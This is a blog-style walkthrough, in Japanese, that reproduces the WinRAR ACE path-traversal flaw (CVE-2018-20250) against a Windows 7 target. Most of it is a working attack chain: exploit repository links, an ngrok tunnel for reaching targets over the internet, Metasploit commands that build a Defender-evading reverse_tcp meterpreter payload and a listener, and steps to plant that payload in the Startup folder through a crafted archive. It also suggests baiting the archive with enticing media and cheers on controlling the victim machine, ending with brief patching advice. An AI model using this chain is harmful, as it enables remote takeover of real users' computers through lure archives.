起因#
WinRAR 中国ダウンロードページからの内容
Check Point Software Technologies の Nadav Grossman が、UNACEV2.DLL ライブラリのセキュリティ脆弱性について紹介しました。この脆弱性により、ACE アーカイブを解凍する際に、ターゲットフォルダ内または外部の任意のフォルダにファイルを作成することができます。WinRAR はこのサードパーティライブラリを使用して ACE アーカイブを解凍します。2005 年以降、UNACEV2.DLL は更新されておらず、ソースコードにアクセスできません。そのため、WinRAR ユーザーの安全を守るために ACE アーカイブ形式のサポートを放棄することにしました。
報告元:Extracting a 19 Year Old Code Execution from WinRAR
影響を受けるバージョン:
WinRAR < 5.70 Beta 1
Bandizip <= 6.2.0.0
Haozip (2345 圧縮) <= 5.9.8.10907
360 圧縮 <= 4.0.0.1170
脆弱性が発表されると、各セキュリティ会社はすぐに脆弱性と悪意のあるサンプルの分析を開始しました:
** フラグ:脆弱性の利用結果が起動項目にファイルを追加することだとわかれば、この脆弱性は各セキュリティソフトに阻止される可能性が高いことがわかります。ここに言っておきます **
脆弱性成因分析#
初心者としてできることは、大御所たちの分析を見て、見慣れた後に自分で分析を試みることだけで十分です。
ほとんどの脆弱性分析の記事は、元の報告の内容を再現しています。
脆弱性再現#
この動的リンクライブラリの役割は ACE 形式ファイルを処理することです。そして、解凍処理の過程でディレクトリトラバーサルの脆弱性が存在し、解凍プロセスがファイルを起動項目に書き込むことを許可し、コード実行を引き起こします。
参考記事:
-
WinRAR リモートコード実行脆弱性を Metasploit+Ngrok で実現するリモートオンライン (freebuf - アイデン - ピアス)
-
WinRAR リモートコード実行脆弱性を利用して Metasploit5+Ngrok で内部ネットワーク浸透を実現する (セキュリティ脆弱性環境学習 - 壁の隅で大きな夢)
環境準備#
-
攻撃機:Kali 2019.1 インターネット接続
-
靶機:Win7 SP1 インターネット接続
WinRAR v5.6 ダウンロードリンク:http://www.zdfans.com/html/5737.html
ここで中国人が翻訳したものをダウンロードしましたが、問題ありません、バージョンが合っていれば大丈夫です:
脆弱性を引き起こすUNACEV2.dll
ファイルがまだ存在することが確認できれば OK です:
winrar の exp をダウンロード#
git clone https://github.com/WyAtu/CVE-2018-20250.git
ネット速度が遅い方は、私が gitee にクローンしたものを使用できます:
git clone https://gitee.com/soapffz/CVE-2018-20250.git
ngrok トンネルを開く#
もちろん、内部ネットワーク攻撃の場合はこのステップは必要ありません。
- トンネルを開通
ウェブサイト https://www.ngrok.cc を開き、アカウントがない場合は登録してください。ログインし、左側のトンネル管理 -> トンネルを開通 -> 右下の香港 Ngrok 無料サーバーを選択:
- ngrok トンネルのプロトコルを TCP に設定し、内部 IP を自分の KaliLinux の内部 IP に変更し、内部ポート番号は任意で衝突しないように記入します。
サービスを開通すると、どのポートに切り替えても次のようになります:
明らかに、これはマーケティング戦略で、10 元を支払って VIP サーバーを開通しました:
-
ダウンロードNgrok の 64 ビットバージョンクライアントをローカルに
-
トンネルを開通:
./sunny clientid あなたのトンネルID
ペイロードの設定#
- Metasploit を開き、免疫モジュールを選択
ペイロードを生成:
evasion/windows/windows_defender_exe は msf5 に新しく追加されたモジュールで、Kali のバージョンが低い場合は、Metasploit を更新するだけで大丈夫です:
msfconsole
use evasion/windows/windows_defender_exe(msf5免疫モジュールを選択)
show info(モジュール情報を表示)
set filename WinRarPayloadTest.exe(ペイロード名を設定)
set payload windows/meterpreter/reverse_tcp(ペイロードタイプを設定)
set lhost あなたのドメイン名(オンラインアドレスを設定、Ngrokでマッピングされたアドレスを記入、ポート番号とプロトコルタイプは含めない)
set lport あなたのポート(リスニングポートを設定、Ngrokでマッピングされたポートを記入)
run(ペイロードを生成)
ペイロードのパスアドレス:/root/.msf4/local/WinRarPayload.exe
- 上記で生成された exe プログラムを以前にダウンロードした exp フォルダにコピーします:
exp.py の rar_filename と evil_filename の値を変更:
python exp.py
を実行すると、ファイルのルートディレクトリに悪意のある圧縮パッケージが自動的に生成されます:
さて、エラーが出ました、Kali を閉じて寝ます、冗談です~
著者は Read.me でこの問題を提起しました:https://gitee.com/soapffz/CVE-2018-20250/blob/master/README.md
もしあなたの python の環境変数がpython2
やpython3
のように設定されている場合、exp.py
ファイル内のget_right_hdr_crc
関数で、acefile.py
を開くこの行のコードを
p = os.popen('py -3 acefile.py --headers %s'%(filename))
あなたの python の開き方に変更してください、例えば:
p = os.popen('python3 acefile.py --headers %s'%(filename))
もちろん、あなたの環境でpy -3
コマンドを実行できる場合は変更する必要はありません。
悪意のある圧縮パッケージが正常に生成されました。この時、いくつかの写真や動画(あなたが理解していること)を中に入れると、魅力的な圧縮パッケージになります。
生成された圧縮ファイルを www ディレクトリにコピーし、Apache2 サービスを開始します。
靶機のオンラインとリスニング#
Windows7 の靶機でこの悪意のある圧縮パッケージをダウンロードして解凍します:
Win7 のスタートディレクトリに次のように表示されます:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
私たちの悪意のある payload.exe が現れました:
Metasploit がリモートリスニングホストのオンライン要求を開始します:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost Kaliのip
set lport 前にngrokで設定した内部ポート
run
- ngrok のバックグラウンドが実行中であることを確認し、Win7 を再起動すると、Kali でしばらく待つと Win7 がオンラインになっているのが見えます:
シェルに入れば Win7 を操作できます:
完璧な肉鶏が制御され、次はゲームを楽しむだけです!!!
脆弱性修正#
-
バージョン 5.70.2.0 にアップグレード
-
インストールディレクトリから UNACEV2.dll ファイルを削除
-
機密性の高い圧縮パッケージを受け取った場合は注意し、好奇心に負けないようにしましょう!